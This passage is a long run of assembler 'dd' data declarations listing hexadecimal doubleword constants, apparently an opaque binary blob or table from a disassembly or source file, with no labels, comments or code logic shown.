2BA25D75h, 93F6289Ah, 0A75B7A00h, 0E186A1EDh dd 0AF591159h, 31D7F650h, 2F6360E5h, 0B3E7D906h, 14A8EC82h dd 9FAB30Dh, 5844BDA1h, 0AD641C45h, 0EB3FE67h, 0DD84526Eh dd 44177CE8h, 0A7B5DD07h, 0A2C502DAh, 50FB980Bh, 5B3BC0A1h dd 0DC05DAEDh, 0EF9409F8h, 0BA9B335h, 0C3CBF41Bh, 2610F1EBh dd 912558DBh, 545DE73Dh, 2ECE1E4Fh, 0F727456Ch, 86609ADEh dd 3F2A5C22h, 0E22D4E2Dh, 24D1287Eh, 0AAF4243Eh, 0B85964B6h dd 6BDD79A6h, 5F3B628Ah, 0BDADEE82h, 28436DBCh, 0A6FBDC00h dd 0CBB18EF9h, 40968813h, 50C6509Fh, 0BC4D0A25h, 2C2ADB8h dd 517DDD8h, 5108286Eh, 1AD81A21h, 8A60A223h, 8008D2A5h dd 0F48C9AB1h, 472982DFh, 41FEE1FCh, 1454DC20h, 0F5E7D218h dd 808C503Bh, 52E098CEh, 0DD365666h, 911CF7Dh, 9AE95DD1h dd 0B8FE67F9h, 3E7B5A97h, 0CEBD9812h, 4C55CBCAh, 67781B52h dd 37FC0C68h, 78376C73h, 0C70F5B86h, 3DCCACC9h, 4561C410h dd 14353D4Fh, 2F25E6DAh, 528A2C6Ch, 6DB25AECh, 0BADBC9DFh dd 98945C6Eh, 12CA0D0Ch, 1A21D903h, 0E41A5E0Fh, 0D9D2A179h dd 2DF763C3h, 5DBED5F1h, 65D5C30Fh, 0F85B0E81h, 0D20469D6h dd 328CA0Ch, 8DDB640Eh, 0A41578CCh, 0C29753A9h, 691E4DF1h dd 5A0AA5EBh, 0A03ED1ABh, 0EF219E90h, 63983516h, 8644A9B8h dd 0B6376810h, 6E25784Ch, 1C703B2Dh, 1C66622Fh, 0B3408C4h dd 7027149Ah, 780724D1h, 0D57502A3h, 43922318h, 0FA21561Ah dd 0E2DDB8E0h, 0C964297Ah, 2395FD58h, 821F35FFh, 99EEA3A4h dd 901AA4FDh, 156EAA95h, 397B6E39h, 95B924B1h, 176B8D8Dh dd 8D4D77AEh, 0C078C712h, 0BA7A1E0Ah, 3B72F626h, 0A8A7F96Fh dd 0B476DD2Bh, 0B52C5DE2h, 0AB5EC723h, 0A98E9178h, 3C9ABF73h dd 260D8EDEh, 0DBB43BACh, 6083C87h, 0A18C60F7h, 0BC4070DCh dd 99C2ACECh, 5941DA9Dh, 0D32B4Ah, 0D19EC50Bh, 53ED0F2Bh dd 107C3218h, 66B97F2Fh, 50E9B04h, 5C1ADCF9h, 69E5D1F5h dd 0E70B86C7h, 3142C237h, 8C922860h, 4351177Eh, 8835E21Bh dd 0F2504FE0h, 9EC9744h, 33DC6EB5h, 0A13BBBEEh, 0E1272D48h dd 4624E2B4h, 0C692B9C2h, 0A114219Bh, 33377F5h, 10575746h dd 45C922E3h, 43DBCCA0h, 6B9FC25h, 40609FC9h, 3B4F05ECh dd 2C8FE035h, 82998644h, 820CA577h, 23008F8Ah, 656E8FD9h dd 0C64FFA2Bh, 0CD824E36h, 158DF0CCh, 9F2B399Dh, 0A83F06FAh dd 0E018E7AAh, 41C52E5h, 0E535F021h, 0AFC5C16Ch, 8BC4A6DCh dd 13F1E6B0h, 0A62634E8h, 8CD2CC3Ch, 47B12CA2h, 0A0C18C69h dd 9D091BDBh, 839662AEh, 6F4A3020h, 978E8BE2h, 5302726Dh dd 14A92B30h, 4847B7D2h, 0B3170F22h, 0D855CE48h, 59BD76E2h dd 4FAE339Eh, 0C6FE656Ah, 0A6CA439h, 6C4D5417h, 3AB6B3DAh dd 2A23CDAEh, 0B06B3E6Bh, 0DE40B8D5h, 0E199DEB3h, 0E582A258h dd 23668D45h, 3E41BCD8h, 0F67FED14h, 3709845Dh, 0AD4B7753h dd 53D5F910h, 21A00F48h, 5935526Ah, 0A742B05Dh, 64B2CB3h dd 50CA3626h, 8F1298EAh, 325F76F2h, 0D6E9CD21h, 0DF64979Ah dd 4322AB16h, 0E7E2913Eh, 0E5ED02BDh, 0C7D514CEh, 5897D479h dd 3229C303h, 0FA754237h, 726D654Dh, 2838A54Ch, 0EA3A6D37h dd 0E55FAAD5h, 0AFA0AE94h, 0CB020D80h, 7ED468CFh, 6E9F7E5Fh dd 0F55F94E3h, 0CD1ACE0Fh, 0E8FAB070h, 33BE7534h, 9A4ACEBh dd 4EFA99F0h, 3BCDB65Fh, 6D7793C1h, 0DC19D598h, 2AAEEC5Eh dd 879420E4h, 0C71FAD58h, 9363D1ECh, 0A24963A7h, 0F73BD2B1h dd 13361917h, 0BEC97661h, 258D2F07h, 92AA98CCh, 0EB05EB80h dd 0D7087AA9h, 3BCFBCD7h, 937A6C83h, 7E619F51h, 2E5A8D8h dd 9E6B66BAh, 0E7A31F9h, 0FE6438DBh, 0CE3832EBh, 0B3C5EB7Fh dd 0F250C009h, 52AE8075h, 0EF6C5ED1h, 6CA45176h, 0FD11D0E1h dd 0BAED0F0Eh, 73DD19BEh, 0F5C62DAh, 7F2054D4h, 0E93387FEh dd 4923078Eh, 94277253h, 26B0A9ADh, 0B04F9120h, 0B529B8A5h dd 0E1D8DACDh, 72CC8C7h, 120EFD08h, 97129680h, 19CBE68Fh dd 2E2CFFEDh, 20B60612h, 861191E8h, 8114D05Ah, 6D63960Eh dd 2F8D0D12h, 0CDFB5D8Eh, 0CA3EAF93h, 195834D0h, 40211FADh dd 6BF28185h, 783FA18Ah, 0DA474CDh, 90940ACCh, 0FAE9D0B3h dd 0FDEEDCA2h, 493FAEE1h dd 27BF43Ch, 97BEC1C8h, 0B439DD14h, 0DE36D9EDh, 8170BD50h dd 44A53517h, 0FF50F557h, 0A0ED75DCh, 55BCBD42h, 20369CAh dd 846B91F7h, 8BBD3159h, 0DFCDF845h, 6D559DDEh, 0B275042Eh dd 0D71C8ACBh, 189AF5E4h, 8AD5AACBh, 265B7D1h, 67FA3EFAh dd 49156CF5h, 0BB851D51h, 9F41748Ah, 0E1D0F3C0h, 0AEDBC9D2h dd 68BC0004h, 33B9984Ch, 0A619B9Fh, 0D4FDA2C2h, 0E733AB31h dd 0B26F02D4h, 0DE6BA1F9h, 81AF0EA2h, 399029E8h, 0B0B402D7h dd 0BA74CD66h, 17CC8086h, 2C185AD5h, 87EE1DFh, 78F24510h dd 0B469B0CEh, 0C5642387h, 0B5F2B58Eh, 35599408h, 2EBED87Bh dd 3575CDEFh, 89094BDAh, 4F93FC98h, 0A29CA944h, 8A960507h dd 0EA4E48E6h, 0E4C381A7h, 70791F8Bh, 94D3ECE0h, 5D676A99h dd 1850AF66h, 0EDA9C3F7h, 0A5996894h, 19911800h, 0B6A0CD68h dd 248C278Dh, 8D7D4889h, 48ABB0F3h, 2649731Ch, 61A30D53h dd 2C2F97DAh, 0C2800881h, 51AC5F34h, 89780BACh, 78310ACh dd 6330FE01h, 5FAD138Eh, 0C31D6A29h, 43ADA0E8h, 0EBF25DCCh dd 7A25B43Dh, 7C187AAAh, 7160FEC9h, 3CC95365h, 7556EA52h dd 0A05E9672h, 27710C7Ch, 4C48A841h, 0E2F44A40h, 2E894C2Fh dd 786C4865h, 529CDFBEh, 1E740B5Ch, 0BEECB1FBh, 8C05218Ch dd 3820AE6h, 0E266ECFCh, 91578024h, 0CFA409C8h, 957F8EA7h dd 32101CA8h, 0C22FC74Eh, 0E57BE784h, 0C9F79CB0h, 0BD473FDh dd 0B50A6143h, 0E21F9D90h, 0D1EED027h, 0AA897ABCh, 0D43DF8FBh dd 0DF73792Ah, 0F0AC2956h, 75E56B51h, 0DA4C8DA9h, 4E75AA38h dd 75B85C64h, 23B4E76Eh, 0E7753426h, 0EEC6D89Dh, 0EDFF4D8Ch dd 3B4B898Ch, 0F31E5E16h, 972D8A1Bh, 0FDC7636Ch, 0D778C706h dd 19387F18h, 6D548B5Ah, 5EF2D2Dh, 0A9A1DD20h, 8DB9E910h dd 373E4027h, 7B47C2A2h, 3BD0EE37h, 0CBFC6483h, 0F1C4A56h dd 0A384692Fh, 752DE7A6h, 0C7A8504Fh, 39291317h, 0ACDC18B3h dd 76AE0B95h, 0A76851A2h, 0F28E71B9h, 0F609EB65h, 0C229FD15h dd 0F4CE4CC8h, 74C261C8h, 25734163h, 2EC63E1Bh, 0E1980D0Dh dd 0A2797FC0h, 3C4BC4CBh, 63E946Ah, 35199B58h, 0BA90DF29h dd 6C3DDEE7h, 0D86ADBEFh, 0EEF8BFE4h, 1D24B993h, 3B53C4BBh dd 4E9CB85Ch, 69B3242h, 0BBBFF37h, 0F198D91Dh, 9D6AE358h dd 447CB88h, 5D3ED5FBh, 0E576B470h, 59E06A47h, 15148D6h dd 22B71FC7h, 1CF3A845h, 0F03BCA81h, 2E0C371Fh, 4EC1DDC6h dd 0EA36EE21h, 3A20D128h, 5E76AC4h, 0E929895Dh, 38E794B2h dd 28D74EFh, 0DCBA53CBh, 68F616E2h, 0EF80DB98h, 0DCDB1241h dd 0B0E82669h, 8FE218E8h, 85DBEF12h, 826C74ADh, 722699D7h dd 0BAF5AB39h, 0EE9F28FAh, 0E0EC4C7Ah, 35B209FFh, 6BC9D29Fh dd 0E2148009h, 6F60E9AEh, 79BE8607h, 0CD950C7h, 93AB7ECEh dd 0D9C6920Ch, 862B0FC8h, 0F0D94BA3h, 94768978h, 4ED4370h dd 3DC6B190h, 0FAA64D36h, 0C708DB07h, 0E1416000h, 7F09CBDAh dd 0BAC30EDBh, 0F8CBE7CCh, 2BE6EB7Fh, 1939DE25h, 29005B23h dd 2A09BEC1h, 0D3FC59EAh, 31130548h, 7B5B30DAh, 0C9F85AF6h dd 44E6466Dh, 0B514F6BCh, 0CC175C33h, 0BB9D7796h, 4FCE8EEh dd 0DC048C3Eh, 0B5F08E3Ah, 0B1D7EEC9h, 1B973F7Bh, 0DF59BB3Eh dd 5B92558Bh, 1EE3196Eh, 0BCBCDAB9h, 0B8A98FE1h, 0CCC1B505h dd 78D07808h, 0EF703314h, 51198876h, 57C5D67Dh, 0D033E82Fh dd 0DD9054D0h, 56FF58B9h, 4BCF1630h, 0B7BF7B50h, 0EC91FDBh dd 0CF3F597Bh, 474C36FBh, 0E4926FD8h, 5C286A7Fh, 0E3815373h dd 2153B2FFh, 1DBD382Eh, 230B6DEFh, 42DFA3FAh, 0F4E4D5F4h dd 730FA2B9h, 21B22FACh, 0A46C5125h, 0CF0BFE9Ah, 3A02DB57h dd 0E540ECA8h, 9E8022CDh, 0F0AF4A59h, 91F2C82Ah, 0C40E93BFh dd 0CE0DD062h, 3561F452h, 3D81F093h, 1115610Bh, 189804F8h dd 55DA9C13h, 0C001E442h, 4EA992DFh, 0ECFC3BDh, 0EBF8B4C6h dd 0D7A7CEBEh, 0D599B788h, 793151CCh, 0E9B8149Fh, 0FAB3B95Ch dd 0C2CA4251h, 2F486571h, 0DEF9D0Dh, 0AB5EECECh, 0F3ACDCFEh dd 0EA9E331Ch, 0DD8A415Eh, 748E816Ah, 0E40301Eh, 0F64BC069h dd 0EA1C06EFh, 1342C340h, 0E221209Dh, 0A0B1025Ah, 0BD592063h dd 0CF7A98DAh, 5E0845DDh, 13101EB8h, 805BA27Fh, 0F06BF69Fh dd 1D5D94A8h, 0E180B028h, 4E191E56h, 50A4A47Bh, 66F98884h dd 627D7C3Ah, 9DF4D9FCh, 0E602C44h, 0A1190D67h, 1594340Dh dd 0ED188AB1h, 8445D022h, 949CDB8h, 6036A3A3h, 3FE49568h dd 30F2301Ch, 92C5970Ch, 79CC647h, 0CB35BA0Dh, 5363AB75h dd 0ECB4F65Ah, 7CF7FA78h, 0E2006D8Eh, 795C49Ah, 984C7B9Dh dd 81B64302h, 30781644h, 0E71B940Fh, 0F8FF67AAh, 5C10730Fh dd 89763E2Ch, 0F454A63Fh, 0AD1D3019h, 9E5FAE40h, 3E40C94Ch dd 6672B3C4h, 2012580Fh, 62EBF7FFh, 172F6FF8h, 0E7C02F8h dd 0D5E33DA8h, 0ED32C16Eh, 4C32F97Dh, 9296DF49h, 8A976924h dd 54EA7CCDh, 0C1892BECh, 0B8B35AF6h, 0DC609Bh, 0BB2C555h dd 0E2345AD6h, 88AABCB6h, 6CCAE01Dh, 20F739BDh, 6F7F0D93h dd 37225FCEh, 0A5E73646h, 0DBDA8014h, 260EDE63h, 4AEB77F7h dd 1A9C6D3Bh, 33A14C70h, 3FF0870h, 85341596h, 6C1662E6h dd 75E8C738h, 0ECD50533h, 0C21B204Ch, 92B1B113h, 0B9771906h dd 7B61F410h, 4EA24330h, 0DE6A8980h, 4F6B097Dh, 0AE22CA51h dd 3CC40827h, 0E0DDFDF9h, 60DB13CFh, 0AC57085Dh, 366EBD6h dd 0FA3D84BFh, 5A3B8039h, 0BAA307F0h, 0D719AAAFh, 0E8D17C36h dd 1449981Eh, 6A376E6Fh, 11FF0A4Ch, 0D4072358h, 0CE45DC99h dd 0C7AB42h, 3312800Dh, 43D81081h, 1A8AC752h, 385B36C3h dd 0CE1EC111h, 0CEDC3E3h, 236C138Bh, 0AF8311D3h, 0D1DA72AFh dd 0E0FD8761h, 0AE4C307Fh, 0B95A1879h, 5D58A968h, 0D9E68E30h dd 0F8EC83A3h, 2E693E91h, 19A78605h, 0F7247CD7h, 9AF3D44Fh dd 0B426AE07h, 23835A33h, 129BF230h, 36213ECEh, 4376FC70h dd 247685A7h, 0ECF2974Eh, 1B946F8Dh, 6BC520BDh, 0C1291F28h dd 0E850D972h, 0FFDE6084h, 0EE86DD7Ch, 0C409EA4Ah, 0E502A2B0h dd 9449F506h, 6C9FBBB1h, 18D24416h, 0F4F9B7B9h, 1E75F23Dh dd 20072EF3h, 8680B496h, 813D11Bh, 4B2DF609h, 1D2B4211h dd 0BA7AACF9h, 0CAEE74F0h, 8DEB86E9h, 0E017A1E2h, 7496A44Ah dd 0C12C70D4h, 0E316C0C9h, 83E58940h, 0DD27BA24h, 780292BCh dd 7A7E0C69h, 0B102D32Ah, 0A8582FC8h, 1C4742BDh, 7A93EED6h dd 0D73A54A2h, 0FEB3979Bh, 47DE2491h, 0CF483FF0h, 657A6D2Eh dd 0F1E8D531h, 3EEA6943h, 5A56D672h, 2E3A8710h, 0B60A4FB2h dd 93E1C7A7h, 0B6AEC0F5h, 0E13FC4CEh, 0CB52C226h, 6F8A1DB5h dd 40223910h, 8325A588h, 8B2655F3h, 5C2E0A7Eh, 773C5076h dd 8DB34A13h, 0E191277Dh, 0F3B8F28Dh, 6564B2B7h, 0A4EE46AAh dd 0B46C677Ch, 122DCC89h, 5EF70E73h, 3D04D919h, 0CDCB875Fh dd 16CA80E8h, 0CA126B22h, 587A587Fh, 9AECB06Dh, 14BAAFDCh dd 2F5B27F8h, 0A46DDC0Eh, 5A3D4431h, 0C90AC2A0h, 38CAEA5h dd 8C0A70FEh, 3473BCD9h, 36D6532Bh, 0E2DFC639h, 0A912EEF2h dd 9C6CB23Fh, 0EF49488Bh, 0B1E629D1h, 41F12202h, 630A32E7h dd 0D1BFB207h, 52F9AEA3h, 0CE7A67D3h, 0D7CF99D3h, 0FA66B6E2h dd 2644A335h, 5181384Eh, 0E7D61F1Fh, 0BCDB8A7Ah, 0B5F59B22h dd 7B12617h, 918E2689h, 0B70D203Eh, 0FE3EA2A2h, 0ACC098B4h dd 21E11FE7h, 0D5CED220h dd 6B059C5Bh, 774D0866h, 62175310h, 0F7F0BA13h, 24A513Fh dd 650E4D3Ch, 2C9D5678h, 0C76133DEh, 0FF39835Bh, 6063489Bh dd 1A969146h, 0B28678CBh, 3ED5187h, 0E6F10692h, 0D3AB540Dh dd 0EFFC9083h, 65B4FACCh, 6A103836h, 0EA07ACC2h, 0CD80EB19h dd 376307BAh, 0D98AEA10h, 2CE47FC8h, 3E3E0722h, 3356E9A1h dd 0FD7543Dh, 5B232D64h, 2FD542C1h, 479EE5C4h, 0EE63D890h dd 48238F0Fh, 0FFA01FEDh, 87C58895h, 833CA889h, 0F3979A2Eh dd 0F8346F2Fh, 74B363F5h, 0D47D082Bh, 89EDCFC0h, 0DAAADDC2h dd 0DFFC9EDCh, 0D5FE3BC0h, 8DDF9788h, 3C20E8F3h, 0C229D0FDh dd 97F120D8h, 1E2D02B3h, 527EF2D7h, 0E0D43CADh, 6E4ED500h dd 0B3AEBB37h, 0F62C1F7Fh, 0CEFE97DCh, 34D9AAF0h, 11E43A0Ah dd 0ECFCC03Ch, 45F13F05h, 96808036h, 3574FA94h, 1B7D1181h dd 509BDD98h, 0D100EEB3h, 142E450Eh, 0A4F106C5h, 0A47EDC1Eh dd 0A8D58D10h, 0B15BBFA8h, 3C4628C2h, 0B8BF0AF7h, 56907690h dd 0A513C198h, 0ECF7A545h, 58AA6D60h, 0C554DB48h, 5F1B75AFh dd 551537D7h, 24E74DD9h, 4BD10982h, 0DB78DB56h, 0E63AC302h dd 0A3CA17F5h, 883C2FE5h, 0BE29306Fh, 2E6FDB3Dh, 3FF75239h dd 0BDF2936Ah, 519A5414h, 317A8501h, 703F5FDAh, 145A0179h dd 0F204CA75h, 71E1A823h, 9F380C81h, 0BFBE4841h, 0F4841D44h dd 0BEDFEFE4h, 3997B6BFh, 8A1B78DFh, 5A5C8B2Ch, 4A9D27E3h dd 0CFDEBCD3h, 2EF4D1F6h, 84AE4A9Dh, 0D0565699h, 31066790h dd 547813F0h, 900D0714h, 5E1E4805h, 0BE85684h, 1ADB188Dh dd 746B7738h, 0B2C9A78Dh, 0B61D82EFh, 0EB15D3B9h, 7563190h dd 341E4751h, 0A1DF8045h, 173BC300h, 0CD185503h, 214D8FC7h dd 9CDAB8EAh, 0AC764FC5h, 0F2E84CF1h, 0E47D52Ch, 5B59C6C2h dd 42EABC09h, 71C2A25Ah, 0DA9B3D3Fh, 88F55F32h, 9F6A9899h dd 0B99C3AF4h, 6BB9E697h, 3701DF99h, 0D4079C0Bh, 0D95A2600h dd 87956865h, 9713DBB7h, 0E3B6424Fh, 606C3B67h, 5F2CA43Eh dd 0EC82F9B0h, 8A35999Ch, 0C5AC36A9h, 23ACB598h, 0A993A7FCh dd 0A6DD3741h, 0F8791D65h, 283844C1h, 4DE84EAh, 7D2D2E8Ah dd 0FC315EEFh, 76C8186h, 0CDC47778h, 0FBBE337h, 8BD7904Dh dd 5AA2810Dh, 0CCF3932Ah, 96F87347h, 1A5A79D1h, 0F1310AD7h dd 6B802793h, 0DD444F9Dh, 41EB37D7h, 863A283h, 0A6D64C0Eh dd 683BA133h, 0A2FF7064h, 55F460EBh, 1A34F622h, 2FDE8931h dd 8656B3F6h, 20C86066h, 34138AE9h, 0F05AEC53h, 0E4495499h dd 206841E0h, 0AB5D5416h, 0EBBFA6F6h, 0B3B740E7h, 3AEAED75h dd 0F27A84E8h, 98285990h, 8896B35Eh, 5820A5C1h, 93DD18ACh dd 616AC1FDh, 155BA738h, 9C3015C8h, 243A518Bh, 46521CE1h dd 0D3FF82EDh, 5489D715h, 87B71438h, 0F1062616h, 15015B79h dd 0EB87BBFEh, 0A68DEE44h, 0E3288796h, 1F011348h, 6600A89Dh dd 6EB39DDAh, 0B86A62Eh, 0E0398769h, 6B77420Dh, 43C2D5A9h dd 0EC4FA421h, 8E9C270Fh, 1C80303Dh, 2B2EA7EDh, 0E0F19D76h dd 0AE32347h, 0F02FEF87h, 0F63A5377h, 0AC357202h, 0D85410A2h dd 0C16F20A2h, 5B348F09h, 0CF2C119Fh, 9F35F375h, 556F9F25h dd 7ABD327Ch, 6AB7CBBh, 5649FCC6h, 2AA0FE36h, 0F4E2FF17h dd 668B947Fh, 7D4606B5h, 0B9900252h, 0B168D4CDh, 5305FA03h dd 5832B73Dh, 74582CF6h, 4DB2C339h, 0EAB7F713h, 4811D9E0h dd 0E3D6E4CCh, 0A1D5F42Dh, 17CF8501h, 683736Bh, 0FE8D0543h dd 0ECD67D1Eh, 9BA1ACC0h, 0D053B641h, 4A348BA7h, 2B669331h dd 158AEB90h, 4738FEDh, 9CB5DF36h, 51D9216h, 0A311E934h dd 77F8A387h, 0DF80B942h, 29E55DE1h, 16A97414h, 9924F16Ch dd 60DF08C3h, 3A8CB2FEh, 67731A76h, 0F4B24C8Dh, 0EDB64718h dd 8478DCE6h, 0E9DE9C44h, 6CBDCFF8h, 0F08C12DCh, 0F55298Dh dd 0C3826BE3h, 0D60CDB15h, 8D78117Ch, 30E98114h, 0A77B6EC7h dd 79383392h, 0EF5FDFBEh, 0AE99CB5h, 4EB164C3h, 6330DB60h dd 316C1955h, 4FEC8E20h, 0BD0CD74h, 6A010255h, 7F8C1706h dd 0F3377A2h, 48CD93DFh, 0D3010708h, 70B5FB5Eh, 6166CEF5h dd 0DB9284CCh, 91A33694h, 5BB855E8h, 11FEE6FCh, 0A01FD131h dd 0EE73A7D1h, 0F737B010h, 3B7D0190h, 0A0C82A5Ch, 6D09BB8Ch dd 0B8F04A1Fh, 98B9AAEBh, 4AAFFA07h, 7C703FAh, 0B8839F8Fh dd 8712F706h, 8AF06B0Ch, 20CD5173h, 7D8D5BCEh, 0C1E44FE7h dd 0CD460578h, 0A4A9806Ah, 2C09F5Fh, 22B21F71h, 1E95BBEAh dd 39DB74E3h, 4D3F602Bh, 5B6B3F63h, 18160D31h, 0F0412F89h dd 527BC073h, 2D2B5A06h, 7BBBF16Eh, 0B7385189h, 0CCDEE5D0h dd 7C04AA9Ah, 4C7326C4h, 23831E2Ch, 0C84C9Bh, 8DEC92DCh dd 33966CD5h, 2253AFE4h, 0E0FF8E22h, 0B74E428Bh, 0E3D4A74h dd 0C3E65140h, 3AE27DD8h, 783E010Dh, 4F3F181Ch, 0E40873FAh dd 0B4841EC4h, 0EE8A1DD7h, 0B827B320h, 556D43BBh, 9D743B20h dd 3144DE8Fh, 0C3162847h, 9BFEB02Bh, 698EC718h, 0EC935E6Eh dd 9E136219h, 0A1AC50A6h, 5301BA05h, 33F796BEh, 0DA15945h dd 1EBEA65Fh, 7CC944E9h, 0E635354Bh, 0E264A32Eh, 958E452Ah dd 0E1005968h, 1758E278h, 89574E8Ch, 0A41CFC9Ah, 0ED524071h dd 0B03F9230h, 90FED1CCh, 55C089D9h, 34D1ABC9h, 0A20A4A21h dd 14B7F57Ch, 0B9D502F9h, 14288B40h, 0CE04B52Bh, 0CABA6A24h dd 7D31CE5Eh, 0DB7F3F3h, 0CAF32F85h, 0CC472EEDh, 1B96DE95h dd 66325367h, 0DF12E987h, 0FD5F4528h, 95EECB9Fh, 9E0BBFF6h dd 5453EB9Dh, 0B9B02FCFh, 0F5B8F732h, 35DE351Bh, 0C203452Dh dd 34FB3925h, 0A6A00616h, 4ED830BAh, 6E7B00CEh, 188CE9B8h dd 44D1DB01h, 99EA5AD9h, 3C1A229Ah, 493A1F41h, 5E1CFF7Bh dd 57AE77D8h, 8DB6B6ADh, 0EB9275A8h, 94B467BDh, 0E0DFC844h dd 0DBB6B13h, 998CF121h, 0B1D51743h, 534CCF83h, 1757443h dd 4522617Dh, 0BDC13321h, 5C0C976Dh, 2F7BDB8Fh, 0E0C6F947h dd 0AB77968Fh, 0E0A28031h, 10D48526h, 0DBEB1A61h, 0A2E1CE79h dd 2F185C9Fh, 5EE25FCBh, 5AD82C77h, 4A905460h, 8352CEE5h dd 68D86779h, 9B1430F1h, 6B954024h, 5FB60AF3h, 5B8E19E5h dd 0FC0FF638h, 0DD057BA6h, 3A17DFCBh, 9CEA8766h, 85E30ACFh dd 0AEC3C53Dh, 5341526Dh, 0A0E8DFC7h, 5D8BCC75h, 345FC4D1h dd 0B6ECEBE3h, 0C1E9320Ch, 739E88D6h, 7B162F3Eh, 382E81F8h dd 5754AC43h, 0D6FA5FFh, 0CD3088BFh, 0BA897598h, 0C0FC611Ch dd 243DDB75h, 0FAB02C08h, 0A99ABA1Eh, 167350F8h, 0F018702Dh dd 2B5A4C10h, 648DB422h, 170582EBh, 0CDEFDF6Dh, 0D7D551B8h dd 7ADD278Ah, 0E107E2C6h, 0F721E6C3h, 9A7887E1h, 1C97DF9Bh dd 0E9A065DEh, 0E677494Ah, 3D0C597Dh, 0C4205A23h, 7C65D843h dd 0CB022D3Dh, 8A41C3FAh, 904EC6C0h, 9B3C3D91h, 0B6BD4DD8h dd 3CC5FCA2h, 0C70D0E55h, 0D4E5385Bh, 0DD547715h, 385C0D6h dd 8CC561DAh, 2E4465C4h, 560A50A9h, 62F17317h, 0E60AEF73h dd 437E8A42h, 5A47878Bh, 0FC320767h, 1E4D0F61h, 19E2D51Dh dd 0DD031A47h, 0F328893Fh, 0DA1C9F42h, 0AAD60F53h, 0E4253578h dd 7212CC5Ah, 0D7F40847h, 0AC5DE3D0h, 515FBD1Bh, 2CA90CF1h dd 0A9C10753h, 0A29BC1A5h, 0AB717690h, 15A48452h, 0E97D729Bh dd 0BC07A68Dh, 1C26A8A8h, 9F479AB8h, 0F125AE5Eh, 8DAF3645h dd 2E960388h, 2951F059h, 197BCC4Bh, 0EC5E2CF3h, 8A3AE5C4h dd 63B729EDh, 3F4E74FAh dd 0A7216EEh, 442038C9h, 2BE091DEh, 5E344A04h, 93B3139Bh dd 618BC381h, 8C3261F5h, 877FB11Eh, 5E8851CFh, 21A0A6A1h dd 0C8888FB8h, 82380730h, 66B08D7Ah, 0CDA6A59Ch, 4BF615EFh dd 1C01B04Ah, 300784C2h, 0AB256423h, 2F8755D2h, 0DF6A71B8h dd 879ED6F4h, 0DF8E76C3h, 0E0B62B32h, 8350BB73h, 0C2DBB8h dd 497333FCh, 48FD6F03h, 0A199DBCFh, 0BDBD043Ch, 0FFD171BFh dd 1A8DFFC7h, 23AA7D98h, 137ED25Fh, 8EC9D4Eh, 10EFD148h dd 0D38DA1B6h, 651202CCh, 0F05AEA17h, 0C10A96D5h, 0B6615268h dd 0C0E03ED2h, 6715505Bh, 6D0C8F98h, 0B8D9E58Eh, 0F81A9415h dd 2EA897F3h, 0E7D79C11h, 0E79134ABh, 4C4C5A7Eh, 0F8625AACh dd 0D974C7FCh, 5AB762F0h, 457E180Bh, 6765BA8Bh, 7AAAC8AEh dd 51CBBA1Dh, 0BF31A407h, 841F857Ch, 460DA3C0h, 0C1F68AAEh dd 6E5C2829h, 73015EC3h, 0B8939E69h, 1AD8D8F6h, 94BAFEE0h dd 85E0FED2h, 0C6245715h, 0EF45B5ABh, 0B3A9DFBBh, 0D92BA50h dd 904BB2A3h, 8B8BA067h, 2FFDA00Eh, 723D0B06h, 7EC76EE9h dd 7D3E053Dh, 9B0DC902h, 0CC544892h, 55414932h, 8577228Dh dd 51883D9Fh, 7F827346h, 0B8A5209Fh, 5F1DC1C4h, 0A84826B2h dd 17744FF3h, 4DD027F6h, 18E69D8Eh, 81C304C3h, 83314936h dd 0E8775221h, 4589290Ch, 20C49C6Dh, 80962FE4h, 0E69133B9h dd 0C9A69A02h, 6134A566h, 5F5CB658h, 0E7E68C6h, 14D0E2CAh dd 3C03184Ch, 0FB55239Dh, 0FDD072CBh, 7C40E0EFh, 0E3FF49B3h dd 0B524CD7Ah, 0BBC7767Dh, 26A0B5E5h, 0DA58CEBCh, 0E86C5407h dd 0A74DA399h, 3B879B53h, 0A2995720h, 0EE7E86E1h, 0B49203B7h dd 2627E182h, 0C2416027h, 66DFF574h, 0DD864956h, 40C5C425h dd 4B1FEA22h, 3D7AB152h, 0A766DE72h, 0CA91EB49h, 0EE525DD3h dd 0F380F1EEh, 6606C129h, 8F79D44Bh, 86650989h, 0E87A299Dh dd 5D20A5BEh, 0FF69DA97h, 0F5F9010h, 0CF694578h, 2E64BEF9h dd 4EF99Ch, 0A42CEBE7h, 5ECC83BEh, 0BD74FF64h, 0BE352121h dd 3B10012Dh, 0FC0CC8D1h, 0C48B8048h, 0F7ADC43h, 0F1D9A23Fh dd 76698225h, 0BB115C74h, 884ED0D4h, 9B27149Ah, 3BF7486Ch dd 8C3F4C58h, 503EC4F7h, 0D85ADC72h, 952EFBE3h, 64F256A3h dd 0FA098BFBh, 999873C7h, 0ACFFC315h, 9AF5FDAEh, 5B6911C2h dd 1E6383B2h, 0BEAD5D66h, 271F332Ah, 0DB18A13Bh, 0CA737062h dd 0E5A49A07h, 0C00F3C9Dh, 0B8614449h, 0EF5F0F02h, 2751B591h dd 0C34E050Ah, 0B238AEF3h, 9965F19Eh, 8793BCEAh, 707E1FB8h dd 0D59A8F64h, 48C97AFAh, 3606553h, 0C0974FACh, 0E95E794Ah dd 0B3253CFh, 2E7ACB31h, 2D07803Eh, 60A33A74h, 29C36F1Ah dd 9522426Ch, 5B35BC82h, 0BC311939h, 0E69AC356h, 7F67B66Fh dd 0DC7F76EFh, 3F9FBED2h, 0D07F15CFh, 779F591Bh, 0B8893598h dd 0A9F82E73h, 6327CA6Bh, 0E7605A04h, 0D1336A1Eh, 0B4C59351h dd 73368A1Bh, 2315B7DBh, 462AAE93h, 57C9D806h, 0FEDC6ED9h dd 540F351h, 0AD67617Ah, 61C84E68h, 0F5B2195h, 92502640h dd 0E5C90DADh, 73DC3722h, 5F2551BAh, 0AB871982h, 0E5924AF8h dd 0A5446295h, 0F98F4661h, 8412E329h, 8A99BA18h, 0A8B47269h dd 8DC15750h, 0D5502B76h, 1AD3F6F4h, 4F4B589h, 57ED9E7h dd 686F92D0h, 21E491A8h, 5F479D9Dh, 20243AD6h, 0FC3464D7h dd 3E9721BEh, 3C98DCCBh, 0BC688339h, 1D47CE3h, 284D545Dh dd 0E356DF0Bh, 162CD588h, 0C0A5F0D9h, 30097829h, 0BC01541Fh dd 4FB74069h, 0B74BB64Eh, 0C63CE729h, 0EFF87D91h, 6BBAE54Eh dd 5C76144Ah, 0C4D19E53h, 0C7392C8Bh, 9F5BDDA3h, 674729E6h dd 7308EE5Ah, 0AB1E78D3h, 5ECE16DCh, 9BEF327h, 967FEA9Ah dd 